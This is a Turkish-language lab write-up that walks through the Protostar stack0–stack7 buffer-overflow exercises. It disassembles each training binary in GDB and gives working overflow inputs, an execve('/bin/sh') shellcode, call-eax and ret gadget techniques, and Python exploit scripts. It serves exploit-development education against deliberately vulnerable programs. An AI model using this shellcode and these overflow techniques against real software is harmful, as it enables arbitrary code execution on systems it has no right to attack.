Bu yazımda exploit geliştirmeye giriş için hazırlanmış Protostar stack uygulamalarından bahsedeceğim. Klasik çözümlerin aksine C kodu yorumlamaktansa işi assembly seviyesinde ele alacağım.
STACK 0
GDB(gnu debugger) ile programın kaynak kodlarına bakalım. GDB için gef eklentisini kullanıyorum tavsiye ederim.
gef➤ disas main Dump of assembler code for function main: 0x080483f4 <+0>: push ebp 0x080483f5 <+1>: mov ebp,esp 0x080483f7 <+3>: and esp,0xfffffff0 0x080483fa <+6>: sub esp,0x60 0x080483fd <+9>: mov DWORD PTR [esp+0x5c],0x0 0x08048405 <+17>: lea eax,[esp+0x1c] 0x08048409 <+21>: mov DWORD PTR [esp],eax 0x0804840c <+24>: call 0x804830c <gets@plt> 0x08048411 <+29>: mov eax,DWORD PTR [esp+0x5c] 0x08048415 <+33>: test eax,eax 0x08048417 <+35>: je 0x8048427 <main+51> 0x08048419 <+37>: mov DWORD PTR [esp],0x8048500 0x08048420 <+44>: call 0x804832c <puts@plt> 0x08048425 <+49>: jmp 0x8048433 <main+63> 0x08048427 <+51>: mov DWORD PTR [esp],0x8048529 0x0804842e <+58>: call 0x804832c <puts@plt> 0x08048433 <+63>: leave 0x08048434 <+64>: ret End of assembler dump. gef➤
kodu yorumlayacak olursak;
<main+9> [esp+92] ye 0 atanıyor
<main+17> [esp+28] efektif adresi eax a atanıyor
<main+21> bu alanın adresi stack’in başlangıç adresi oluyor.
<main+24> gets fonksiyonu devreye giriyor
<main+29> [esp+92] bulunan bilgi yani 0(olması gerek) eax a atanıyor
<main+33> eax test işlemine tabi tutuluyor
<main+35> eax eğer sıfır ise yani değişmediyse “try again” mesajını ver çık
<main+37> değilse “you have changed the ‘modified’ variable” de ve işi bitir.
Kısaca açıklamak gerekirse program öncesinde [esp+92] alanına 0 değeri atıyor. Daha sonrasında gets() fonksiyonu ile bizden girdi bekliyor. Gets() fonksiyonunu incelerseniz aldığı girdiyi eax registerine yazdığını görürsünüz. Program [esp+92] adresine öncesinde 0 atamıştı. Bu bilgi eax registerine atanıyor ve test işlemine sokuluyor(and uygular ve sonuç bayraklarda görülür). Eğer [esp+92] adresindeki bilgi değişmediyse yani herhangi bir taşma gerçekleşmediyse “try again” mesajını verip program sonlanıyor. Eğer taşma gerçekleştiyse [esp+92] adresindeki bilgi değişeceği için bir sonraki instruction çalışıp ekrana “you have changed the ‘modified’ variable” mesajını veriyor. Bizim amacımız buffer overflow gerçekleştirip bu mesajı almak. Kaç byte’dan sonra taşdığı bilgisi önemli değil biz biraz uzunca “A” karakteri girip taşmayı gerçekleştireceğiz.
machineboy@kali:~$ ./stack0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA you have changed the 'modified' variable Segmentation fault
Başarıyla mesajımızı aldık. İlk soru olduğu için biraz kolay.
STACK 1
GDB ile kodu inceleyelim.
gef➤ disas main Dump of assembler code for function main: 0x08048464 <+0>: push ebp 0x08048465 <+1>: mov ebp,esp 0x08048467 <+3>: and esp,0xfffffff0 0x0804846a <+6>: sub esp,0x60 0x0804846d <+9>: cmp DWORD PTR [ebp+0x8],0x1 0x08048471 <+13>: jne 0x8048487 <main+35> 0x08048473 <+15>: mov DWORD PTR [esp+0x4],0x80485a0 0x0804847b <+23>: mov DWORD PTR [esp],0x1 0x08048482 <+30>: call 0x8048388 <errx@plt> 0x08048487 <+35>: mov DWORD PTR [esp+0x5c],0x0 0x0804848f <+43>: mov eax,DWORD PTR [ebp+0xc] 0x08048492 <+46>: add eax,0x4 0x08048495 <+49>: mov eax,DWORD PTR [eax] 0x08048497 <+51>: mov DWORD PTR [esp+0x4],eax 0x0804849b <+55>: lea eax,[esp+0x1c] 0x0804849f <+59>: mov DWORD PTR [esp],eax 0x080484a2 <+62>: call 0x8048368 <strcpy@plt> 0x080484a7 <+67>: mov eax,DWORD PTR [esp+0x5c] 0x080484ab <+71>: cmp eax,0x61626364 0x080484b0 <+76>: jne 0x80484c0 <main+92> - 0x080484b2 <+78>: mov DWORD PTR [esp],0x80485bc 0x080484b9 <+85>: call 0x8048398 <puts@plt> 0x080484be <+90>: jmp 0x80484d5 <main+113> 0x080484c0 <+92>: mov edx,DWORD PTR [esp+0x5c] 0x080484c4 <+96>: mov eax,0x80485f3 0x080484c9 <+101>: mov DWORD PTR [esp+0x4],edx 0x080484cd <+105>: mov DWORD PTR [esp],eax 0x080484d0 <+108>: call 0x8048378 <printf@plt> 0x080484d5 <+113>: leave 0x080484d6 <+114>: ret End of assembler dump. Gef➤
<main+9> argument counter’ın 1 olup olmadığına bakıyor.
<main+13> Eğer program herhangi bir agümanla başlamadıysa yani arg counter 1 ise (kendi ismiyle başladığı için) bir sonraki insruction çalışır (“please specify an argument\n”)
<main+15> Eğer argc 1 den farklıysa main+35 e zıplar.
<main+35> [esp+92] ye 0 atanıyor.
<main+43> eax = argv[0] => Programın isminin bulunduğu alan.
<main+46> eax = eax + 4
<main+49> eax = argv[1] => Bu alana 4 ekleyince (x86) ilk parametreyi alır.
<main+51> esp+4 alanına argv[1] değerini atıyor.
<main+62> strcpy fonksiyonu kontrolsüz yazmaya başlıyor
<main+67> [esp+92] adresini daha önce 0 yapmıştı (tabi değişmediyse) onu eax a atıyor.
<main+71> eax deki bilgiyi 0x61626364 ile karşılaştırıyor
<main+76> Eşit değilse main+92 zıpla ve “”Try again, you got 0x%08x\n”” mesajını ver
<main+78> Eşit ise “you have correctly got the variable to the right value” mesajını ver ve çık.
Özetleyecek olursak programımız bizden bir parametre bekliyor. Aldığı bu parametreyi stack’e kontrolsüz bir şekilde atıyor. Yani ne yazmışız ne demişiz uzunluğu ne bakmıyor. [esp+92] adresindeki bilgiyi 0x61626364 (abcd) adresi ile karşılaştırıyor. Eğer ben tam o noktaya bu adresi denk getirirsem başarı mesajımı alacağım.
machineboy@kali:~$ ./stack1 `python -c 'print "A"*64+"B"*4'` Try again, you got 0x42424242 machineboy@kali:~$ ./stack1 `python -c 'print "A"*64+"dcba"'` you have correctly got the variable to the right value machineboy@kali:~$
STACK 2
GDB ile koda bakalım.
gef➤ disas main Dump of assembler code for function main: 0x08048494 <+0>: push ebp 0x08048495 <+1>: mov ebp,esp 0x08048497 <+3>: and esp,0xfffffff0 0x0804849a <+6>: sub esp,0x60 0x0804849d <+9>: mov DWORD PTR [esp],0x80485e0 0x080484a4 <+16>: call 0x804837c <getenv@plt> 0x080484a9 <+21>: mov DWORD PTR [esp+0x5c],eax 0x080484ad <+25>: cmp DWORD PTR [esp+0x5c],0x0 0x080484b2 <+30>: jne 0x80484c8 <main+52> 0x080484b4 <+32>: mov DWORD PTR [esp+0x4],0x80485e8 0x080484bc <+40>: mov DWORD PTR [esp],0x1 0x080484c3 <+47>: call 0x80483bc <errx@plt> 0x080484c8 <+52>: mov DWORD PTR [esp+0x58],0x0 0x080484d0 <+60>: mov eax,DWORD PTR [esp+0x5c] 0x080484d4 <+64>: mov DWORD PTR [esp+0x4],eax 0x080484d8 <+68>: lea eax,[esp+0x18] 0x080484dc <+72>: mov DWORD PTR [esp],eax 0x080484df <+75>: call 0x804839c <strcpy@plt> 0x080484e4 <+80>: mov eax,DWORD PTR [esp+0x58] 0x080484e8 <+84>: cmp eax,0xd0a0d0a 0x080484ed <+89>: jne 0x80484fd <main+105> 0x080484ef <+91>: mov DWORD PTR [esp],0x8048618 0x080484f6 <+98>: call 0x80483cc <puts@plt> 0x080484fb <+103>: jmp 0x8048512 <main+126> 0x080484fd <+105>: mov edx,DWORD PTR [esp+0x58] 0x08048501 <+109>: mov eax,0x8048641 0x08048506 <+114>: mov DWORD PTR [esp+0x4],edx 0x0804850a <+118>: mov DWORD PTR [esp],eax 0x0804850d <+121>: call 0x80483ac <printf@plt> 0x08048512 <+126>: leave 0x08048513 <+127>: ret
<main+9> “GREENIE” değeri stack’e yolla.
<main+16> getenv fonksiyonu ile “GREENIE” ile tanımlanmış veri alınıyor.
<main+21>
<main+25> Environment boş ise hata ver ve çık “please set the GREENIE environment variable\n”
<main+30> Değilse main+52 sıçra
<main+32>
<main+52> [esp+0x58] adresine 0 değeri atanıyor sebebini anlayacaksınız
<main+60> Daha önce [esp+0x5c] adresine environment değerini (eax) atamıştık şimdi bunu tekrar eax a atıyoruz
<main+64> [esp+4] = “AAAAA..A”
<main+68> [esp+0x18] adresinde bulunan değerin efektif adresini eax a atıyor
<main+72> Bu adresi de stack’in üstüne atıyor
<main+75> strcpy fonksiyonu bu bilgileri bir güzel kullanıyor
<main+80> Daha önce [esp+0x58] adresine 0 değeri atanmıştı hatırlayın bu veriyi eax a atıyor şimdi de
<main+84> eax deki bilgiyi 0xd0a0d0a ile karşılaştırıyor
<main+89> Eğer eşit değilse çık git
<main+91> Eşit ise “you have correctly modified the variable” mesajını ver
GREENIE ile tanımlanmış environment değerini stack’e kontrolsüz arkadaşımız olan strcpy yazıyor. [esp+0x58] adresindeki veriyi 0xd0a0d0a ile karşılaştırıyor. Eğer taşma gerçekleşirse ve ben tam bu alana 0xd0a0d0a adresini yazarsam güzelim mesajımızı tekrardan alırız.
Öncelikle GREENIE tanımlıyorum ve içine 64 A karakteri ve little endiana göre de 0xd0a0d0a adresini yazıyorum. Stack2 yi çalıştırdığımda mesajımı alıyorum.
machineboy@kali:~$ export GREENIE=`python -c 'print "A"*64 + "\x0a\x0d\x0a\x0d"'` machineboy@kali:~$ echo $GREENIE AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA machineboy@kali:~$ ./stack2 you have correctly modified the variable machineboy@kali:~$
STACK 3
GDB ile koda bakmadan önce eğer tanımlı fonksiyonlara bakacak olursak bizi main dışında win isimli fonksiyon karşılıyor.
gef➤ i func All defined functions: File stack3/stack3.c: 11: int main(int, char **); 6: void win(void);
win fonksiyonuna bakalım neler yapıyormuş.
gef➤ disas win Dump of assembler code for function win: 0x08048424 <+0>: push ebp 0x08048425 <+1>: mov ebp,esp 0x08048427 <+3>: sub esp,0x18 0x0804842a <+6>: mov DWORD PTR [esp],0x8048540 --------------→ "code flow successfully changed" 0x08048431 <+13>: call 0x8048360 <puts@plt> 0x08048436 <+18>: leave 0x08048437 <+19>: ret
Aslında yaptığı tek şey <win+6>(0x8048540)–>”code flow successfully changed” mesajını vermek. Yani iş yine main fonksiyonuna kaldı.
gef➤ disas main Dump of assembler code for function main: 0x08048438 <+0>: push ebp 0x08048439 <+1>: mov ebp,esp 0x0804843b <+3>: and esp,0xfffffff0 0x0804843e <+6>: sub esp,0x60 0x08048441 <+9>: mov DWORD PTR [esp+0x5c],0x0 0x08048449 <+17>: lea eax,[esp+0x1c] 0x0804844d <+21>: mov DWORD PTR [esp],eax 0x08048450 <+24>: call 0x8048330 <gets@plt> 0x08048455 <+29>: cmp DWORD PTR [esp+0x5c],0x0 0x0804845a <+34>: je 0x8048477 <main+63> 0x0804845c <+36>: mov eax,0x8048560 0x08048461 <+41>: mov edx,DWORD PTR [esp+0x5c] 0x08048465 <+45>: mov DWORD PTR [esp+0x4],edx 0x08048469 <+49>: mov DWORD PTR [esp],eax 0x0804846c <+52>: call 0x8048350 <printf@plt> 0x08048471 <+57>: mov eax,DWORD PTR [esp+0x5c] 0x08048475 <+61>: call eax 0x08048477 <+63>: leave 0x08048478 <+64>: ret
<main+9> [esp+92] ye 0 atanıyor.
<main+17> [esp+28] efektif adresini eax a atar.
<main+21> Bu bilgiyi stack’e atar.
<main+24> Ve gets fonksiyonu devreye girer.
<main+29> Daha önce [esp+0x92] adresine atadığımız 0 değeri hala aynı kalmışmı diye kontrol eder.
<main+34> Eğer bu bilgi aynı kaldıysa yani değişmediyse çık git
<main+36> Ha eğer değiştirmeyi başarırsak “calling function pointer, jumping to 0x%08x\n” mesajını ata.
<main+41> Ve bu değeri edx e ata.
<main+45> edx deki bilgiyi [esp+4] adresine yolla.
<main+49> Mesajı stack e gönder paşam.
<main+52> printf fonksiyonu ile mesajı ekrana bas.
<main+57> Ve aynı değeri yani değiştirdiğimiz değeri [esp+92] yi eax a gönder.
<main+61> Bu değeri fonksiyon adresi gibi gör çağır.
Program bizden bir girdi bekliyor. Aldığı girdi stack’e kontrolsüz yazıldığı için [esp+92] adresindeki bilgi de haliyle değişiyor. [esp+92] adresindeki bilgiyi eax registerine atadıktan sonra sanki bir fonksiyonmuş gibi çağırıyor. Madem başarı mesajı almak istiyorum o zaman [esp+92] adresine win() fonksiyonunun adresini denk getirirsem program akışına o adresten devam eder bende yoluma..
İlk olarak win() fonksiyonun adresini bulalım. Print komutuyla bulabiliriz(kısaca p).
gef➤ p win $1 = {void (void)} 0x08048424 win gef➤
Bu adresi little endian notasyonuna göre yazmayı unutmayın. 64 adet A karakterinden sonra win() adresi yazıyorum. En sonunda kod yönlendirmesi başarılı mesajını alıyorum.
machineboy@kali:~$ (python -c 'print "A"*64+"\x24\x84\x04\x08"') | ./stack3 calling function pointer, jumping to 0x08048424 code flow successfully changed
STACK 4
Bizi yine aynı fonksiyonlar karşılıyor.
gef➤ i functions All defined functions: File stack4/stack4.c: 11: int main(int, char **); 6: void win(void);
win() fonksiyonu aynı değişen birşey yok. Asıl iş yine main de.
gef➤ disas main Dump of assembler code for function main: 0x08048408 <+0>: push ebp 0x08048409 <+1>: mov ebp,esp 0x0804840b <+3>: and esp,0xfffffff0 0x0804840e <+6>: sub esp,0x50 0x08048411 <+9>: lea eax,[esp+0x10] 0x08048415 <+13>: mov DWORD PTR [esp],eax 0x08048418 <+16>: call 0x804830c <gets@plt> 0x0804841d <+21>: leave 0x0804841e <+22>: ret
Aslında anlatılacak pek birşey yok. Gets() fonksiyonu sadece girdi bekliyor. Başka da birşey yaptığı yok. Peki zafiyet nerede ? Zafiyet gets() fonksiyonunun ta kendisi. Yine stack’e kontrolsüz veri yazan fonksiyonlardan biri. Bizde bunu kullanacağız. Eip ye win() fonksiyonunun adresini yazarsam program akışına oradan devam eder. İşe kaç byte’dan sonra eip’ye düşeceğimizi bulmakla başlayalım.
gef➤ pattern create 200 [+] Generating a pattern of 200 bytes aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab [+] Saved as '$_gef0' gef➤ run Starting program: /home/machineboy/stack4 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab gef➤ pattern offset $eip [+] Searching '$eip' [+] Found at offset 76 (little-endian search) likely [+] Found at offset 73 (big-endian search) gef➤
Little endian’a göre 76 byte’dan sonra gelecek 4 byte eip registerine düşecek. Şimdi de win() fonskiyonunun adresini bulalım.
gef➤ p win $1 = {void (void)} 0x80483f4 win gef➤
76 adet A karakteri sonrası little endian’a göre win() adresini yazıp bu işi bitiriyorum.
machineboy@kali:~$ (python -c 'print "A"*76+"\xf4\x83\x04\x08"') | ./stack4 code flow successfully changed Segmentation fault machineboy@kali:~$
STACK 5
GDB ile koda bakalım.
gef➤ disas main Dump of assembler code for function main: 0x080483c4 <+0>: push ebp 0x080483c5 <+1>: mov ebp,esp 0x080483c7 <+3>: and esp,0xfffffff0 0x080483ca <+6>: sub esp,0x50 0x080483cd <+9>: lea eax,[esp+0x10] 0x080483d1 <+13>: mov DWORD PTR [esp],eax 0x080483d4 <+16>: call 0x80482e8 <gets@plt> 0x080483d9 <+21>: leave 0x080483da <+22>: ret
Bir öncekinin aynısı fakat win() fonksiyonu yok bu sefer. Peki şimdi napacük? Shell alsak ? Bence iyi fikir. Hatırlarsanız size gets() fonksiyonun aldığı girdiyi eax registerinde sakladığını söylemiştim. Hal böyle olunca insanın aklına şeytani fikirler geliyor. Burada kullanacağım yöntem eip üzerine call eax gibi instruction’ın adresini yazmak. Madem benim girdiğim değer eax’a yazılıyor eip’e call eax söyletebilirsem girdi olarak vereceğim shellcode’um çalışacak. İyi de call eax nerede ? Program içerisinde call eax vb. Instruction aramak için ropper isimli bir araç kullanacağım. ROP(Return Oriented Programming) dediğimiz mevzu için güzel bir araç. ROP konusuna başka zaman değineceğim. Şimdi call eax arayalım.
call eax I bulduk. Herşey yolunda ama shellcode yok. Onu da ben vereyim. Hatta isterseniz inceleyelim.
section .text global _start _start: xor eax, eax push eax push 0x68732f6e push 0x69622f2f mov ebx, esp push eax mov ecx, esp mov edx, esp mov al, 11 int 0x80
shellcode’u yorumlayacak olursak. İlk önce eax registerini sıfırlıyoruz. Madem sıfırlayacaktık neden mov eax,0 demedik diyebilirsiniz. Sebebi çok basit 32 bitlik registere siz 8 bitlik veri yazdığınızda kalan 24 bit null byte “0x00” olarak tanımlanır. Bu da shellcode’un çalışmasını engeller. Bu yüzden xor işlemi ile sıfırlıyorum. Bu değeri stack’e yolluyorum. Sonrasında gördüğünüz gibi iki garip adresi stack’e atıyorum. Onlar ne ola ki?
Cevap : //bin/sh ===== > 2f2f62696e2f7368
Sadece little endian a göre yazılıyor o kadar.
Esp deki (//bin/sh) bilgisi ebx’yazılıyor. Sonrasında eax tekrar stack’e yollanıyor. Stack’de iki tane değeri 0 olan eax var. Bu 0’lar ecx ve edx registerine atanıyor. En sonunda al registerine 11 değeri atanıyor yani sistem çağrı numarası olan 11(execve). Anlamadınız dimi ? Bu herşeyi açıklar.
execve | const char *name | const char *const *argv | const char *const *envp |
Yaptığımız iş execve(“//bin/sh”,0,0) bu kadar.Bu kodu .asm uzantılı olarak kaydedip şu şekilde derleyin.
Derledikten sonra shellcode’u elde etmek için objdump dan faydalanalım.
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe1\x89\xe2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80
Şimdi gelelim exploiti yazmaya. Mantık şu şekilde;
shellcode + (76 -shellcode_uzunluğu)*geriye kalan kısım nop + call_eax_adresi
import struct call_eax = struct.pack("I",0x080483bf) shellcode = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe1\x89\xe2\xb0\x0b\xcd\x80" padding = "\x90"*(76-len(shellcode)) #some nops problem exp = shellcode+padding+call_eax print exp
Bunu olduğu gibi kullanınca shell’düşer düşmez geri tekmeleniyoruz. Bu yüzden cat abimizden faydalanacağız.
STACK 6
Şimdi işler karışıyor. Gerçi ne zaman karışmadıki. 2 fonksiyonumuz var.
gef➤ i functions All defined functions: File stack6/stack6.c: 6: void getpath(void); 25: int main(int, char **);
Önce main’e bakalım.
gef➤ disas main Dump of assembler code for function main: 0x080484fa <+0>: push ebp 0x080484fb <+1>: mov ebp,esp 0x080484fd <+3>: and esp,0xfffffff0 0x08048500 <+6>: call 0x8048484 <getpath> --------→ getpath fonksiyonunu çağır çık git 0x08048505 <+11>: mov esp,ebp 0x08048507 <+13>: pop ebp 0x08048508 <+14>: ret
Gördüğünüz gibi yaptığı tek şey getpath() fonksiyonunu çağırıp gitmek. Bu sefer asıl iş main’de değil ilginç. Bakalım getpath() de neler varmış.
gef➤ disas getpath Dump of assembler code for function getpath: 0x08048484 <+0>: push ebp 0x08048485 <+1>: mov ebp,esp 0x08048487 <+3>: sub esp,0x68 0x0804848a <+6>: mov eax,0x80485d0 0x0804848f <+11>: mov DWORD PTR [esp],eax 0x08048492 <+14>: call 0x80483c0 <printf@plt> 0x08048497 <+19>: mov eax,ds:0x8049720 0x0804849c <+24>: mov DWORD PTR [esp],eax 0x0804849f <+27>: call 0x80483b0 <fflush@plt> 0x080484a4 <+32>: lea eax,[ebp-0x4c] 0x080484a7 <+35>: mov DWORD PTR [esp],eax 0x080484aa <+38>: call 0x8048380 <gets@plt> 0x080484af <+43>: mov eax,DWORD PTR [ebp+0x4] 0x080484b2 <+46>: mov DWORD PTR [ebp-0xc],eax 0x080484b5 <+49>: mov eax,DWORD PTR [ebp-0xc] 0x080484b8 <+52>: and eax,0xbf000000 0x080484bd <+57>: cmp eax,0xbf000000 0x080484c2 <+62>: jne 0x80484e4 <getpath+96> 0x080484c4 <+64>: mov eax,0x80485e4 0x080484c9 <+69>: mov edx,DWORD PTR [ebp-0xc] 0x080484cc <+72>: mov DWORD PTR [esp+0x4],edx 0x080484d0 <+76>: mov DWORD PTR [esp],eax 0x080484d3 <+79>: call 0x80483c0 <printf@plt> 0x080484d8 <+84>: mov DWORD PTR [esp],0x1 0x080484df <+91>: call 0x80483a0 <_exit@plt> 0x080484e4 <+96>: mov eax,0x80485f0 0x080484e9 <+101>: lea edx,[ebp-0x4c] 0x080484ec <+104>: mov DWORD PTR [esp+0x4],edx 0x080484f0 <+108>: mov DWORD PTR [esp],eax 0x080484f3 <+111>: call 0x80483c0 <printf@plt> 0x080484f8 <+116>: leave 0x080484f9 <+117>: ret
<main+6> “input path please: “
<main+11> Stack’e yolla
<main+14> Ekrana yaz
<main+38> gets ile veri bekle
<main+43> [ebp+4] yeni return adresi eax a ata
<main+46> Ret adresini [ebp-12] konumuna ata
<main+49> Ret adresi tekrar eax a ata
<main+52> Bu adresi 0xbf000000 ile and işlemine tabi tut
<main+57> Bak bakalım eax daki bilgi 0xbf000000 ile aynı mı ?
<main+62> Aynı değilse “got path %s\n” mesajını ver
<main+64> Aynı ise “bzzzt (%p)\n” mesajını ver
Stack adresinin 0xbf ile başladığına dikkat edin. Yani kodlardan şunu anlıyoruz stack e shellcode’umuzu yazamıyoruz(daha doğrusu yazabiliriz fakat çalışmaz kısacası NX(no execute)). E peki şimdi napacük ? ROP(Return oriented programming) dediğimiz mevzuya tekrar geleceğiz. Öncelikle kaç byte sonra eip’e ulaşacağımız bulalım. Buraları artık biliyorsunuz. 80 karakterden sonra gelecek 4 byte doğrudan eip’e gelecek.
Yapacağımız şey programın içerisinde ret
komutunu çalıştıran bir adresi bulup eip’e yazacağız sonrasında shellcode’umuzun bulunduğu adresi verip çalışmasını sağlayacağız. Bu sayede stack’e shellcode’umuzu yazmadan shell’e geçeceğiz. İşe yarar bir ret adresi bulalım. Bunun için objdump’dan faydalanacağım.
machineboy@kali:~$ objdump -d stack6 | grep ret 804835f: c3 ret 8048454: c3 ret 8048482: c3 ret 80484f9: c3 ret 8048508: c3 ret 8048514: c3 ret 8048579: c3 ret 804857d: c3 ret 80485a9: c3 ret 80485c7: c3 ret machineboy@kali:~$
Herhangi biri olur.
Exploit mantığı : 80 nop + ret + shellcode adresi
shellcode’u nereye yazacağız peki ? Tabii ki de environment. Env’e yazdıktan sonra adresini bulmak için çok basit bir C kodumuz var.
#include <stdio.h> #include <stdlib.h> int main() { char *e = getenv("HEBELEHUBELE"); printf("adresi aha bu : %p \n",e); return 0; }
Environment adına çok takılmayın.
Önce ret adresini sonra shellcode’un adresini little endian notasyonuna göre yazıyorum ve shell alıyorum.
STACK 7
Bizi yine aynı fonksiyonlar karşılıyor.
gef➤ i functions All defined functions: File stack7/stack7.c: 6: char *getpath(void); 26: int main(int, char **); gef➤ disas getpath Dump of assembler code for function getpath: 0x080484c4 <+0>: push ebp 0x080484c5 <+1>: mov ebp,esp 0x080484c7 <+3>: sub esp,0x68 0x080484ca <+6>: mov eax,0x8048620 0x080484cf <+11>: mov DWORD PTR [esp],eax 0x080484d2 <+14>: call 0x80483e4 <printf@plt> 0x080484d7 <+19>: mov eax,ds:0x8049780 0x080484dc <+24>: mov DWORD PTR [esp],eax 0x080484df <+27>: call 0x80483d4 <fflush@plt> 0x080484e4 <+32>: lea eax,[ebp-0x4c] 0x080484e7 <+35>: mov DWORD PTR [esp],eax 0x080484ea <+38>: call 0x80483a4 <gets@plt> 0x080484ef <+43>: mov eax,DWORD PTR [ebp+0x4] 0x080484f2 <+46>: mov DWORD PTR [ebp-0xc],eax 0x080484f5 <+49>: mov eax,DWORD PTR [ebp-0xc] 0x080484f8 <+52>: and eax,0xb0000000 ---------------------------------------------> OOOOPS! 0x080484fd <+57>: cmp eax,0xb0000000 0x08048502 <+62>: jne 0x8048524 <getpath+96> 0x08048504 <+64>: mov eax,0x8048634 0x08048509 <+69>: mov edx,DWORD PTR [ebp-0xc] 0x0804850c <+72>: mov DWORD PTR [esp+0x4],edx 0x08048510 <+76>: mov DWORD PTR [esp],eax 0x08048513 <+79>: call 0x80483e4 <printf@plt> 0x08048518 <+84>: mov DWORD PTR [esp],0x1 0x0804851f <+91>: call 0x80483c4 <_exit@plt> 0x08048524 <+96>: mov eax,0x8048640 0x08048529 <+101>: lea edx,[ebp-0x4c] 0x0804852c <+104>: mov DWORD PTR [esp+0x4],edx 0x08048530 <+108>: mov DWORD PTR [esp],eax 0x08048533 <+111>: call 0x80483e4 <printf@plt> 0x08048538 <+116>: lea eax,[ebp-0x4c] 0x0804853b <+119>: mov DWORD PTR [esp],eax 0x0804853e <+122>: call 0x80483f4 <strdup@plt> 0x08048543 <+127>: leave 0x08048544 <+128>: ret
Assembly kod hemen hemen stack6 ile aynı yalnız bir fark var. getpath+52 de eax bu sefer 0xb0000000 ile and işlemine tabi tutulup diğer instruction da karşılaştırılmış yani biz yine shellcode’umuzu stack e yollamayacağız aynı zamanda eip e yazacağımız ret adresi 0xb… ile başlamayacak. Burada ret2libc tekniği kullanılabilir ama ben bu sefer daha farklı bir yöntem kullanacağım. Hatırlarsanız gets() fonksiyonu aldığı girdiyi eax registerine yazıyordu. Eğer ben shellcode normal bir girdi olarak verirsem ve eip ye call eax insruction’ın adresini yazarsam shellcode’umu stack e yazmadan çalıştırabilirim.
Daha önceki örnekte bu instruction’ın nasıl bulunacağından bahsetmiştim.
....... 0x0804837b: call 0x5d0; pop eax; pop ebx; leave; ret; 0x08048487: call 0x97840a52; add al, 8; add dword ptr [ebx + 0x5d5b04c4], eax; ret; 0x080484bf: call eax; ----------------------------------------------------------------------------------------------------------------> tam olarak aradığımız bu arkadaş 0x080484bf: call eax; leave; ret; 0x080485ef: cmp eax, -1; jne 0x5e8; add esp, 4; pop ebx; pop ebp; ret; .........
Exploit şu şekilde: shellcode + arta kalan kısım nop + call eax
exploit.py içeriği:
import struct shellcode = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe1\x89\xe2\xb0\x0b\xcd\x80" padding = "\x90" * (80 - len(shellcode)) call_eax = struct.pack("I", 0x080484bf) exp = shellcode + padding + call_eax print exp
Yazı biraz uzun oldu farkındayım ama başka türlü de tadı çıkmazdı. Diğer yazıda görüşmek üzere …